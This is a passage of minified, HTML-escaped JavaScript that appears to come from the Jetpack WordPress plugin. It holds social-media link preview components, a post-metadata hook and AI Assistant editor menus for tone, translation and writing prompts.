2-2v-5s0-1-1-1-1 1-1 1v4c0 1-.5 1-1 1H5v-2c0-.6-.3-.7-.8-.4L0 14.6l4.2 3.3z&quot;})});break;case&quot;like&quot;:t=(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 20 18&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M14.658 0c-1.625 0-3.21.767-4.463 2.156-.06.064-.127.138-.197.225-.074-.085-.137-.159-.196-.225C8.547.766 6.966 0 5.35 0 4.215 0 3.114.387 2.162 1.117c-2.773 2.13-2.611 5.89-1.017 8.5 2.158 3.535 6.556 7.18 7.416 7.875A2.3 2.3 0 0 0 9.998 18c.519 0 1.028-.18 1.436-.508.859-.695 5.257-4.34 7.416-7.875 1.595-2.616 1.765-6.376-1-8.5C16.895.387 15.792 0 14.657 0h.001zm0 2.124c.645 0 1.298.208 1.916.683 1.903 1.461 1.457 4.099.484 5.695-1.973 3.23-6.16 6.7-6.94 7.331a.191.191 0 0 1-.241 0c-.779-.631-4.966-4.101-6.94-7.332-.972-1.595-1.4-4.233.5-5.694.619-.475 1.27-.683 1.911-.683 1.064 0 2.095.574 2.898 1.461.495.549 1.658 2.082 1.753 2.203.095-.12 1.259-1.654 1.752-2.203.8-.887 1.842-1.461 2.908-1.461h-.001z&quot;})});break;case&quot;ellipsis&quot;:t=(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 17.5 3.9&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M17.5 1.9c0 1.1-.9 1.9-1.9 1.9-1.1 0-1.9-.9-1.9-1.9S14.5 0 15.6 0c1 0 1.9.9 1.9 1.9m-6.8 0c0 1.1-.9 1.9-1.9 1.9-1.1.1-2-.8-2-1.9 0-1 .9-1.9 2-1.9s1.9.9 1.9 1.9m-6.8 0c0 1.1-.9 2-2 2-1 0-1.9-.9-1.9-2S.9 0 1.9 0c1.1 0 2 .9 2 1.9&quot;})})}return(0,r.jsx)(&quot;span&quot;,{className:`tumblr-preview__post-icon tumblr-preview__post-icon-${e}`,children:t})}},58513(e,t,s){&quot;use strict&quot;;s.d(t,{Z:()=&gt;i});var r=s(13022),n=s(76223),o=s(10790);const a=(0,n.RA)((0,n.f5)(280),(0,n.ZT)(280)),i=({description:e,image:t,title:s,cardType:i,url:l})=&gt;{const c=(0,r.A)(`twitter-preview__card-${i}`,{&quot;twitter-preview__card-has-image&quot;:!!t});return(0,o.jsx)(&quot;div&quot;,{className:&quot;twitter-preview__card&quot;,children:(0,o.jsxs)(&quot;div&quot;,{className:c,children:[t&amp;&amp;(0,o.jsx)(&quot;img&quot;,{className:&quot;twitter-preview__card-image&quot;,src:t,alt:&quot;&quot;}),(0,o.jsxs)(&quot;div&quot;,{className:&quot;twitter-preview__card-body&quot;,children:[(0,o.jsx)(&quot;div&quot;,{className:&quot;twitter-preview__card-url&quot;,children:(0,n.GA)(l||&quot;&quot;)}),(0,o.jsx)(&quot;div&quot;,{className:&quot;twitter-preview__card-title&quot;,children:s}),(0,o.jsx)(&quot;div&quot;,{className:&quot;twitter-preview__card-description&quot;,children:a((0,n.$J)(e))})]})]})})}},32250(e,t,s){&quot;use strict&quot;;s.d(t,{w:()=&gt;n});var r=s(10790);const n=()=&gt;(0,r.jsxs)(&quot;div&quot;,{className:&quot;twitter-preview__footer&quot;,children:[(0,r.jsx)(&quot;span&quot;,{className:&quot;twitter-preview__icon-replies&quot;,children:(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M1.751 10c0-4.42 3.584-8 8.005-8h4.366c4.49 0 8.129 3.64 8.129 8.13 0 2.96-1.607 5.68-4.196 7.11l-8.054 4.46v-3.69h-.067c-4.49.1-8.183-3.51-8.183-8.01zm8.005-6c-3.317 0-6.005 2.69-6.005 6 0 3.37 2.77 6.08 6.138 6.01l.351-.01h1.761v2.3l5.087-2.81c1.951-1.08 3.163-3.13 3.163-5.36 0-3.39-2.744-6.13-6.129-6.13H9.756z&quot;})})}),(0,r.jsx)(&quot;span&quot;,{className:&quot;twitter-preview__icon-retweets&quot;,children:(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M4.5 3.88l4.432 4.14-1.364 1.46L5.5 7.55V16c0 1.1.896 2 2 2H13v2H7.5c-2.209 0-4-1.79-4-4V7.55L1.432 9.48.068 8.02 4.5 3.88zM16.5 6H11V4h5.5c2.209 0 4 1.79 4 4v8.45l2.068-1.93 1.364 1.46-4.432 4.14-4.432-4.14 1.364-1.46 2.068 1.93V8c0-1.1-.896-2-2-2z&quot;})})}),(0,r.jsx)(&quot;span&quot;,{className:&quot;twitter-preview__icon-likes&quot;,children:(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M16.697 5.5c-1.222-.06-2.679.51-3.89 2.16l-.805 1.09-.806-1.09C9.984 6.01 8.526 5.44 7.304 5.5c-1.243.07-2.349.78-2.91 1.91-.552 1.12-.633 2.78.479 4.82 1.074 1.97 3.257 4.27 7.129 6.61 3.87-2.34 6.052-4.64 7.126-6.61 1.111-2.04 1.03-3.7.477-4.82-.561-1.13-1.666-1.84-2.908-1.91zm4.187 7.69c-1.351 2.48-4.001 5.12-8.379 7.67l-.503.3-.504-.3c-4.379-2.55-7.029-5.19-8.382-7.67-1.36-2.5-1.41-4.86-.514-6.67.887-1.79 2.647-2.91 4.601-3.01 1.651-.09 3.368.56 4.798 2.01 1.429-1.45 3.146-2.1 4.796-2.01 1.954.1 3.714 1.22 4.601 3.01.896 1.81.846 4.17-.514 6.67z&quot;})})}),(0,r.jsx)(&quot;span&quot;,{className:&quot;twitter-preview__icon-analytics&quot;,children:(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M8.75 21V3h2v18h-2zM18 21V8.5h2V21h-2zM4 21l.004-10h2L6 21H4zm9.248 0v-7h2v7h-2z&quot;})})}),(0,r.jsx)(&quot;span&quot;,{className:&quot;twitter-preview__icon-share&quot;,children:(0,r.jsx)(&quot;svg&quot;,{viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2.59l5.7 5.7-1.41 1.42L13 6.41V16h-2V6.41l-3.3 3.3-1.41-1.42L12 2.59zM21 15l-.02 3.51c0 1.38-1.12 2.49-2.5 2.49H5.5C4.11 21 3 19.88 3 18.5V15h2v3.5c0 .28.22.5.5.5h12.98c.28 0 .5-.22.5-.5L19 15h2z&quot;})})})]})},55664(e,t,s){&quot;use strict&quot;;s.d(t,{Y:()=&gt;a});var r=s(27723),n=s(76223),o=s(10790);const __=r.__,a=({name:e,screenName:t,date:s})=&gt;(0,o.jsxs)(&quot;div&quot;,{className:&quot;twitter-preview__header&quot;,children:[(0,o.jsx)(&quot;span&quot;,{className:&quot;twitter-preview__name&quot;,children:e||__(&quot;Account Name&quot;,&quot;jetpack&quot;)}),(0,o.jsx)(&quot;span&quot;,{className:&quot;twitter-preview__screen-name&quot;,children:t||&quot;@account&quot;}),(0,o.jsx)(&quot;span&quot;,{children:&quot;·&quot;}),(0,o.jsx)(&quot;span&quot;,{className:&quot;twitter-preview__date&quot;,children:(0,n.hV)(s||Date.now())})]})},34900(e,t,s){&quot;use strict&quot;;s.d(t,{E:()=&gt;o});var r=s(18470),n=s(10790);const o=e=&gt;(0,n.jsx)(r.O,{...e,text:&quot;&quot;,media:void 0})},55971(e,t,s){&quot;use strict&quot;;s.d(t,{$:()=&gt;a});var r=s(13022),n=s(51609),o=s(10790);const a=({media:e})=&gt;{const t=e.filter(e=&gt;e.type.startsWith(&quot;image/&quot;)||e.type.startsWith(&quot;video/&quot;)).filter((e,t,s)=&gt;0===t||!s[0].type.startsWith(&quot;video/&quot;)&amp;&amp;&quot;image/gif&quot;!==s[0].type&amp;&amp;(!e.type.startsWith(&quot;video/&quot;)&amp;&amp;&quot;image/gif&quot;!==e.type)).slice(0,4);if(0===t.length)return null;const s=t[0].type.startsWith(&quot;video/&quot;),a=(0,r.A)([&quot;twitter-preview__media&quot;,&quot;twitter-preview__media-children-&quot;+t.length]);return(0,o.jsx)(&quot;div&quot;,{className:a,children:t.map((e,t)=&gt;(0,o.jsx)(n.Fragment,{children:s?(0,o.jsx)(&quot;video&quot;,{controls:!0,children:(0,o.jsx)(&quot;source&quot;,{src:e.url,type:e.type})}):(0,o.jsx)(&quot;img&quot;,{alt:e.alt||&quot;&quot;,src:e.url})},`twitter-preview__media-item-${t}`))})}},18470(e,t,s){&quot;use strict&quot;;s.d(t,{O:()=&gt;d});var r=s(58513),n=s(32250),o=s(55664),a=s(55971),i=s(68535),l=s(17915),c=s(11974),u=(s(68579),s(10790));const d=({date:e,description:t,image:s,media:d,name:p,profileImage:h,screenName:m,showThreadConnector:g,text:f,title:b,tweetUrl:v,cardType:k,url:y})=&gt;{const x=!!d?.length;return(0,u.jsx)(&quot;div&quot;,{className:&quot;twitter-preview__wrapper&quot;,children:(0,u.jsxs)(&quot;div&quot;,{className:&quot;twitter-preview__container&quot;,children:[(0,u.jsx)(l.B,{profileImage:h,showThreadConnector:g}),(0,u.jsxs)(&quot;div&quot;,{className:&quot;twitter-preview__main&quot;,children:[(0,u.jsx)(o.Y,{name:p,screenName:m,date:e}),(0,u.jsxs)(&quot;div&quot;,{className:&quot;twitter-preview__content&quot;,children:[f?(0,u.jsx)(c.E,{text:f}):null,x?(0,u.jsx)(a.$,{media:d}):null,v?(0,u.jsx)(i.g,{tweetUrl:v}):null,!x&amp;&amp;y&amp;&amp;(0,u.jsx)(r.Z,{description:t||&quot;&quot;,image:s,title:b||&quot;&quot;,cardType:k||&quot;&quot;,url:y})]}),(0,u.jsx)(n.w,{})]})]})})}},68535(e,t,s){&quot;use strict&quot;;s.d(t,{g:()=&gt;o});var r=s(56427),n=s(10790);const o=({tweetUrl:e})=&gt;e?(0,n.jsxs)(&quot;div&quot;,{className:&quot;twitter-preview__quote-tweet&quot;,children:[(0,n.jsx)(r.SandBox,{html:`&lt;blockquote class=&quot;twitter-tweet&quot; data-conversation=&quot;none&quot; data-dnt=&quot;true&quot;&gt;&lt;a href=&quot;${e}&quot;&gt;&lt;/a&gt;&lt;/blockquote&gt;`,scripts:[&quot;https://platform.twitter.com/widgets.js&quot;],title:&quot;Embedded tweet&quot;}),(0,n.jsx)(&quot;div&quot;,{className:&quot;twitter-preview__quote-tweet-overlay&quot;})]}):null},17915(e,t,s){&quot;use strict&quot;;s.d(t,{B:()=&gt;o});var r=s(50513),n=s(10790);const o=({profileImage:e,showThreadConnector:t})=&gt;(0,n.jsxs)(&quot;div&quot;,{className:&quot;twitter-preview__sidebar&quot;,children:[(0,n.jsx)(&quot;div&quot;,{className:&quot;twitter-preview__profile-image&quot;,children:(0,n.jsx)(r._,{src:e})}),t&amp;&amp;(0,n.jsx)(&quot;div&quot;,{className:&quot;twitter-preview__connector&quot;})]})},11974(e,t,s){&quot;use strict&quot;;s.d(t,{E:()=&gt;o});var r=s(76223),n=s(10790);const o=({text:e})=&gt;e?(0,n.jsx)(&quot;div&quot;,{className:&quot;twitter-preview__text&quot;,children:(0,r.x5)(e,{platform:&quot;twitter&quot;})}):null},70499(e,t,s){&quot;use strict&quot;;s.d(t,{m2:()=&gt;r.m});s(60361);var r=s(69490);s(54914)},69490(e,t,s){&quot;use strict&quot;;s.d(t,{m:()=&gt;p});var r=s(56427),n=s(27723),o=s(13022),a=s(51609),i=s(48984),l=s(69084),c=s(60361),u=s(10790);const __=n.__;function d({previewData:e,initialTabName:t,title:s,className:n,...a}){const d=(0,i.q)();return(0,u.jsx)(r.Modal,{title:s||__(&quot;Previews&quot;,&quot;jetpack&quot;),size:&quot;fill&quot;,className:(0,o.A)(l.A[&quot;link-preview-modal&quot;],n),...a,children:(0,u.jsx)(c.T,{initialTabName:t,...d,...e})})}function p({triggerButtonProps:e,...t}){const[s,n]=(0,a.useReducer)(e=&gt;!e,!1);return(0,u.jsxs)(u.Fragment,{children:[(0,u.jsx)(r.Button,{variant:&quot;secondary&quot;,size:&quot;compact&quot;,...e,onClick:n,children:e?.children||__(&quot;View previews&quot;,&quot;jetpack&quot;)}),s&amp;&amp;(0,u.jsx)(d,{...t,onRequestClose:n})]})}},60361(e,t,s){&quot;use strict&quot;;s.d(t,{T:()=&gt;i});var r=s(56427),n=s(69084),o=s(54914),a=s(10790);function i({initialTabName:e,...t}){const s=(0,o.g)();return(0,a.jsx)(r.TabPanel,{tabs:s,initialTabName:e,className:n.A[&quot;link-preview-tabs&quot;],children:e=&gt;(0,a.jsx)(&quot;div&quot;,{className:n.A[&quot;link-preview-tab&quot;],children:(0,a.jsx)(e.preview,{...t})})})}},54914(e,t,s){&quot;use strict&quot;;s.d(t,{g:()=&gt;f});var r=s(54560),n=s(34900),o=s(8450),a=s(77123),i=s(26396),l=s(86587),c=s(5874),u=s(89014),d=s(66901),p=s(27723),h=s(51609),m=s(84705),g=s(10790);const __=p.__,_x=p._x;function f(){return(0,h.useMemo)(()=&gt;[{title:__(&quot;Google Search&quot;,&quot;jetpack&quot;),icon:(0,g.jsx)(m.d6,{icon:&quot;google&quot;}),name:&quot;google&quot;,preview:r.m},{title:__(&quot;X&quot;,&quot;jetpack&quot;),icon:(0,g.jsx)(m.d6,{icon:&quot;x&quot;}),name:&quot;x&quot;,preview:n.E},{title:__(&quot;Facebook&quot;,&quot;jetpack&quot;),icon:(0,g.jsx)(m.d6,{icon:&quot;facebook&quot;}),name:&quot;facebook&quot;,preview:d.l},{title:_x(&quot;Threads&quot;,&quot;The name of the social media network - threads.net&quot;,&quot;jetpack&quot;),icon:(0,g.jsx)(m.d6,{icon:&quot;threads&quot;}),name:&quot;threads&quot;,preview:o.G},{title:__(&quot;LinkedIn&quot;,&quot;jetpack&quot;),icon:(0,g.jsx)(m.d6,{icon:&quot;linkedin&quot;}),name:&quot;linkedin&quot;,preview:e=&gt;(0,g.jsx)(a.X,{jobTitle:__(&quot;Job Title (Company Name)&quot;,&quot;jetpack&quot;),...e})},{title:__(&quot;Nextdoor&quot;,&quot;jetpack&quot;),icon:(0,g.jsx)(m.d6,{icon:&quot;nextdoor&quot;}),name:&quot;nextdoor&quot;,preview:i.g},{title:__(&quot;Tumblr&quot;,&quot;jetpack&quot;),icon:(0,g.jsx)(m.d6,{icon:&quot;tumblr&quot;}),name:&quot;tumblr&quot;,preview:l.Z},{title:__(&quot;Mastodon&quot;,&quot;jetpack&quot;),icon:(0,g.jsx)(m.d6,{icon:&quot;mastodon&quot;}),name:&quot;mastodon&quot;,preview:c.i},{title:__(&quot;Bluesky&quot;,&quot;jetpack&quot;),icon:(0,g.jsx)(m.d6,{icon:&quot;bluesky&quot;}),name:&quot;bluesky&quot;,preview:u.c}],[])}},48984(e,t,s){&quot;use strict&quot;;s.d(t,{q:()=&gt;d});var r=s(3582),n=s(47143),o=s(43656),a=s(18537),i=s(27723),l=s(51609),c=s(84282),u=s(92421);const __=i.__;function d(){const e=(0,n.useSelect)(e=&gt;{const{getEditedPostAttribute:t}=e(o.store);return(t(&quot;meta&quot;)?.advanced_seo_description||t(&quot;excerpt&quot;)||t(&quot;content&quot;).split(&quot;\x3c!--more&quot;)[0]||__(&quot;Visit the post for more.&quot;,&quot;jetpack&quot;)||&quot;&quot;).trim()},[]),t=(0,n.useSelect)(e=&gt;{const t=e(o.store).getEditedPostAttribute(&quot;meta&quot;),{getEntityRecord:s}=e(r.store),n=e(o.store).getEditedPostAttribute(&quot;featured_media&quot;);let a=n?(0,u.l)(s(&quot;postType&quot;,&quot;attachment&quot;,n)):&quot;&quot;;const i=t.jetpack_social_options?.image_generator_settings?.enabled?(0,c.S1)(t.jetpack_social_options.image_generator_settings.token):&quot;&quot;;if(i&amp;&amp;(a=i),!a){const t=(0,u.t)(e(o.store).getEditedPostContent());t&amp;&amp;(a=t)}return a},[]),{siteTitle:s,siteIcon:i}=(0,n.useSelect)(e=&gt;{const{getUnstableBase:t}=e(r.store),s=t(void 0);return{siteTitle:s?.name||&quot;&quot;,siteIcon:s?.site_icon_url||&quot;&quot;}},[]),d=(0,n.useSelect)(e=&gt;{const{getEditedPostAttribute:t}=e(o.store);return(t(&quot;meta&quot;)?.jetpack_seo_html_title||t(&quot;title&quot;)||&quot;&quot;).trim()},[]),p=(0,n.useSelect)(e=&gt;e(o.store).getEditedPostAttribute(&quot;link&quot;),[]);return(0,l.useMemo)(()=&gt;({description:(0,a.decodeEntities)(e),image:t,siteIcon:i,siteTitle:(0,a.decodeEntities)(s),title:(0,a.decodeEntities)(d),url:p}),[e,t,i,s,d,p])}},92421(e,t,s){&quot;use strict&quot;;function r(e){return e?e.media_details?.sizes?.large?.source_url||e.source_url:&quot;&quot;}function n(e){const t=(new DOMParser).parseFromString(e,&quot;text/html&quot;),s=Array.from(t.querySelectorAll(&quot;img&quot;)),r=s[0]?.src;return r??null}s.d(t,{l:()=&gt;r,t:()=&gt;n})},84282(e,t,s){&quot;use strict&quot;;s.d(t,{S1:()=&gt;n});var r=s(3924);function n(e){return e?(0,r.A)(&quot;sigenerate&quot;,{query:`t=${e}`}):&quot;&quot;}},52068(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;j});var r=s(96865),n=s(56427),o=s(47143),a=s(27723),i=s(55565),l=s(73493),c=s(93761),u=s(90437),d=s(80224),p=s(27571),h=s(48499),m=s(2162),g=s(62402),f=(s(34927),s(10790));const __=a.__,b=&quot;correct-spelling&quot;,v=&quot;simplify&quot;,k=&quot;make-longer&quot;,y=&quot;make-shorter&quot;,x={default:[{name:r.DD,key:b,aiSuggestion:r.yy,icon:d.A}],&quot;core/paragraph&quot;:[{name:r.HM,key:v,aiSuggestion:r.A4,icon:u.A},{name:r.JR,key:&quot;summarize&quot;,aiSuggestion:r.UA,icon:c.A},{name:r.K2,key:k,aiSuggestion:r.br,icon:l.A},{name:r.UD,key:y,aiSuggestion:r.fD,icon:l.A}],&quot;core/list-item&quot;:[{name:r.HM,key:v,aiSuggestion:r.A4,icon:u.A},{name:r.K2,key:k,aiSuggestion:r.br,icon:l.A},{name:r.UD,key:y,aiSuggestion:r.fD,icon:l.A}],&quot;core/list&quot;:p.L.includes(&quot;core/list&quot;)?[{name:r.HM,key:v,aiSuggestion:r.A4,icon:u.A},{name:r.K2,key:k,aiSuggestion:r.br,icon:l.A},{name:r.UD,key:y,aiSuggestion:r.fD,icon:l.A},{name:r.mI,key:&quot;turn-list-into-table&quot;,aiSuggestion:r.d5,icon:i.A,options:{alwaysTransformToAIAssistant:!0,rootParentOnly:!0}}]:[{name:r.yQ,key:&quot;write-post-from-list&quot;,aiSuggestion:r.pE,icon:u.A,options:{userPrompt:&quot;Write a post based on the list items. Include a title as first order heading and try to use secondary headings for each entry&quot;}}]};function j({blockType:e,clientId:t,disabled:s=!1,onAskAiAssistant:a,onRequestSuggestion:i}){const l=(0,h.C)(&quot;ai-correct-spelling&quot;),c=x[e]??[],{getBlockParents:u}=(0,o.select)(&quot;core/block-editor&quot;),d=u(t);return(0,f.jsxs)(f.Fragment,{children:[s&amp;&amp;(0,f.jsx)(n.Notice,{status:&quot;warning&quot;,isDismissible:!1,className:&quot;jetpack-ai-assistant__info&quot;,children:__(&quot;Add content to activate the tools below&quot;,&quot;jetpack&quot;)}),(0,f.jsxs)(n.MenuGroup,{children:[(0,f.jsx)(n.MenuItem,{icon:r.cj,iconPosition:&quot;left&quot;,onClick:a,disabled:s,children:(0,f.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-assistant__menu-item&quot;,children:__(&quot;Ask AI Assistant&quot;,&quot;jetpack&quot;)})},&quot;key-ai-assistant&quot;),[...x.default,...c].filter(e=&gt;!(e.options?.rootParentOnly&amp;&amp;d.length&gt;0||e.key===b&amp;&amp;!l)).map(e=&gt;(0,f.jsx)(n.MenuItem,{icon:e?.icon,iconPosition:&quot;left&quot;,onClick:()=&gt;{i(e.aiSuggestion,{...e.options??{}})},disabled:s,children:(0,f.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-assistant__menu-item&quot;,children:e.name})},`key-${e.key}`)),(0,f.jsx)(g.hN,{onChange:e=&gt;{i(r.eJ,{tone:e})},disabled:s}),(0,f.jsx)(m.HU,{onChange:e=&gt;{i(r.Gm,{language:e})},disabled:s})]})]})}},32249(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(3924),n=s(56427),o=s(27723),a=(s(26233),s(10790));const __=o.__;const i=function(){const e=(0,r.A)(&quot;jetpack-ai-feedback&quot;);return(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-feedback-control&quot;,children:(0,a.jsxs)(n.BaseControl,{children:[(0,a.jsx)(n.BaseControl.VisualLabel,{children:__(&quot;Feedback&quot;,&quot;jetpack&quot;)}),(0,a.jsx)(&quot;p&quot;,{children:__(&quot;Your feedback is valuable in our commitment to refine and improve this feature.&quot;,&quot;jetpack&quot;)}),(0,a.jsx)(n.ExternalLink,{href:e,children:__(&quot;Share your feedback&quot;,&quot;jetpack&quot;)})]})})}},2162(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;g,HU:()=&gt;f});var r=s(96865),n=s(85985),o=s(56427),a=s(27723),i=s(13109),l=s(48329),c=s(41490),u=(s(50920),s(10790));const __=a.__,d=[&quot;en&quot;,&quot;es&quot;,&quot;fr&quot;,&quot;de&quot;,&quot;it&quot;,&quot;pt&quot;,&quot;ru&quot;,&quot;zh&quot;,&quot;ja&quot;,&quot;ar&quot;,&quot;hi&quot;,&quot;ko&quot;],p=window?.Jetpack_Editor_Initial_State?.siteLocale||navigator?.language,h=p?.split(&quot;-&quot;)[0]||&quot;en&quot;,m=(p?.split(&quot;-&quot;),({value:e,onChange:t})=&gt;{const s=[...d.filter(e=&gt;e!==h)];return d.includes(h)&amp;&amp;s.unshift(h),(0,u.jsx)(o.MenuGroup,{label:__(&quot;Select language&quot;,&quot;jetpack&quot;),children:s.map(s=&gt;(0,u.jsx)(o.MenuItem,{onClick:()=&gt;t(s+&quot; (&quot;+r.so[s].label+&quot;)&quot;),isSelected:e===s,children:r.so[s].label},`key-${s}`))})});function g({value:e=h,label:t=r.u0,onChange:s,disabled:a=!1}){const{tracks:l}=(0,n.st)();return a?(0,u.jsx)(o.Tooltip,{text:t,children:(0,u.jsx)(o.Button,{disabled:!0,children:(0,u.jsx)(i.A,{icon:c.A})})}):(0,u.jsx)(o.ToolbarDropdownMenu,{icon:c.A,label:t,popoverProps:{variant:&quot;toolbar&quot;},onToggle:e=&gt;{e&amp;&amp;l.recordEvent(&quot;jetpack_ai_assistant_block_toolbar_menu_show&quot;,{tool:&quot;i18n&quot;})},children:()=&gt;(0,u.jsx)(m,{value:e,onChange:s})})}function f({value:e=h,label:t=r.u0,onChange:s,disabled:n=!1}){return(0,u.jsx)(o.DropdownMenu,{className:&quot;ai-assistant__i18n-dropdown&quot;,icon:c.A,label:t,toggleProps:{children:(0,u.jsxs)(u.Fragment,{children:[(0,u.jsx)(&quot;div&quot;,{className:&quot;ai-assistant__i18n-dropdown__toggle-label&quot;,children:t}),(0,u.jsx)(i.A,{icon:l.A})]}),disabled:n},children:({onClose:t})=&gt;(0,u.jsx)(m,{onChange:(...e)=&gt;{s(...e),t()},value:e})})}},99050(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;u});var r=s(96865),n=s(85985),o=s(56427),a=s(27723),i=s(33196),l=s(10790);const __=a.__,c=[{name:__(&quot;Summarize&quot;,&quot;jetpack&quot;),key:&quot;summarize&quot;,aiSuggestion:r.UA},{name:__(&quot;Make longer&quot;,&quot;jetpack&quot;),key:&quot;make-longer&quot;,aiSuggestion:r.br},{name:__(&quot;Make shorter&quot;,&quot;jetpack&quot;),key:&quot;make-shorter&quot;,aiSuggestion:r.fD}];function u({key:e,label:t=__(&quot;Improve&quot;,&quot;jetpack&quot;),exclude:s=[],onChange:r,disabled:a=!1}){const{tracks:u}=(0,n.st)();return a?(0,l.jsx)(o.Tooltip,{text:t,children:(0,l.jsx)(o.Button,{disabled:!0,children:(0,l.jsx)(o.Icon,{icon:i.A})})}):(0,l.jsx)(o.ToolbarDropdownMenu,{icon:i.A,label:t,popoverProps:{variant:&quot;toolbar&quot;},onToggle:e=&gt;{e&amp;&amp;u.recordEvent(&quot;jetpack_ai_assistant_block_toolbar_menu_show&quot;,{tool:&quot;improve&quot;})},children:()=&gt;{const n=c.filter(e=&gt;!s.includes(e.key));return(0,l.jsx)(o.MenuGroup,{label:t,children:n.map(t=&gt;(0,l.jsx)(o.MenuItem,{onClick:()=&gt;r(t.aiSuggestion,{contentType:&quot;generated&quot;}),isSelected:e===t.key,children:t.name},`key-${t.key}`))})}})}},33468(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;b});var r=s(96865),n=s(85985),o=s(56427),a=s(27723),i=s(33196),l=s(73493),c=s(93761),u=s(90437),d=s(80224),p=s(55507),h=s(48499),m=s(10790);const __=a.__,g=[{label:__(&quot;Post about…&quot;,&quot;jetpack&quot;),description:{original:&quot;Write a post about &quot;,translated:__(&quot;Write a post about&quot;,&quot;jetpack&quot;)+&quot; &quot;}},{label:__(&quot;Informative article on…&quot;,&quot;jetpack&quot;),description:{original:&quot;Craft an informative article explaining &quot;,translated:__(&quot;Craft an informative article explaining&quot;,&quot;jetpack&quot;)+&quot; &quot;}},{label:__(&quot;Step-by-step tutorial on…&quot;,&quot;jetpack&quot;),description:{original:&quot;Write a step-by-step tutorial on &quot;,translated:__(&quot;Write a step-by-step tutorial on&quot;,&quot;jetpack&quot;)+&quot; &quot;}},{label:__(&quot;Motivational post on…&quot;,&quot;jetpack&quot;),description:{original:&quot;Create a motivational post on &quot;,translated:__(&quot;Create a motivational post on&quot;,&quot;jetpack&quot;)+&quot; &quot;}}],f=[{label:__(&quot;Say it differently…&quot;,&quot;jetpack&quot;),description:{original:&quot;Rewrite it in a way that &quot;,translated:__(&quot;Rewrite it in a way that&quot;,&quot;jetpack&quot;)+&quot; &quot;}},{label:__(&quot;Add…&quot;,&quot;jetpack&quot;),description:{original:&quot;Add more details about &quot;,translated:__(&quot;Add more details about&quot;,&quot;jetpack&quot;)+&quot; &quot;}},{label:__(&quot;Remove…&quot;,&quot;jetpack&quot;),description:{original:&quot;Remove unnecessary details about &quot;,translated:__(&quot;Remove unnecessary details about&quot;,&quot;jetpack&quot;)+&quot; &quot;}}];function b({hasContentBefore:e,hasContent:t,hasPostTitle:s,contentIsLoaded:a,onPromptSelect:b,onSuggestionSelect:v}){const k=__(&quot;Write with AI…&quot;,&quot;jetpack&quot;),y=(0,h.C)(&quot;ai-correct-spelling&quot;),{tracks:x}=(0,n.st)();return(0,m.jsx)(o.ToolbarDropdownMenu,{className:&quot;jetpack-ai-assistant__templates-control&quot;,icon:null,label:k,text:k,onToggle:e=&gt;{e&amp;&amp;x.recordEvent(&quot;jetpack_ai_assistant_block_toolbar_menu_show&quot;,{tool:&quot;write-with-ai&quot;})},children:({onClose:n})=&gt;a?(0,m.jsx)(o.MenuGroup,{label:__(&quot;Write…&quot;,&quot;jetpack&quot;),children:f.map((e,t)=&gt;(0,m.jsx)(o.MenuItem,{icon:i.A,iconPosition:&quot;left&quot;,onClick:()=&gt;{n(),b(e.description)},children:e.label},`key-${t}`))}):(0,m.jsxs)(m.Fragment,{children:[e&amp;&amp;(0,m.jsxs)(o.MenuGroup,{label:__(&quot;Based on preceding content…&quot;,&quot;jetpack&quot;),children:[(0,m.jsx)(o.MenuItem,{icon:l.A,iconPosition:&quot;left&quot;,onClick:()=&gt;v(r.sn),children:r.DT}),y&amp;&amp;(0,m.jsx)(o.MenuItem,{icon:d.A,iconPosition:&quot;left&quot;,onClick:()=&gt;v(r.yy),children:r.DD}),(0,m.jsx)(o.MenuItem,{icon:u.A,iconPosition:&quot;left&quot;,onClick:()=&gt;v(r.A4),children:r.HM})]}),t&amp;&amp;(0,m.jsxs)(o.MenuGroup,{label:__(&quot;Based on entire content…&quot;,&quot;jetpack&quot;),children:[t&amp;&amp;(0,m.jsx)(o.MenuItem,{icon:c.A,iconPosition:&quot;left&quot;,onClick:()=&gt;v(r.UA),children:r.JR}),t&amp;&amp;(0,m.jsx)(o.MenuItem,{icon:p.A,iconPosition:&quot;left&quot;,onClick:()=&gt;v(r.vE),children:r.mT})]}),(0,m.jsxs)(o.MenuGroup,{label:__(&quot;Write…&quot;,&quot;jetpack&quot;),children:[s&amp;&amp;(0,m.jsx)(o.MenuItem,{icon:i.A,iconPosition:&quot;left&quot;,onClick:()=&gt;v(r.im),children:r.Rq}),g.map((e,t)=&gt;(0,m.jsx)(o.MenuItem,{icon:i.A,iconPosition:&quot;left&quot;,onClick:()=&gt;{n(),b(e.description)},children:e.label},`key-${t}`))]})]})})}},62402(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;h,US:()=&gt;u,hN:()=&gt;p});var r=s(96865),n=s(85985),o=s(56427),a=s(27723),i=s(48329),l=(s(45608),s(10790));const __=a.__,c=[&quot;formal&quot;,&quot;informal&quot;,&quot;optimistic&quot;,&quot;humorous&quot;,&quot;serious&quot;,&quot;skeptical&quot;,&quot;empathetic&quot;,&quot;confident&quot;,&quot;passionate&quot;,&quot;provocative&quot;],u=&quot;formal&quot;,d=({value:e,onChange:t})=&gt;(0,l.jsx)(o.MenuGroup,{label:__(&quot;Select 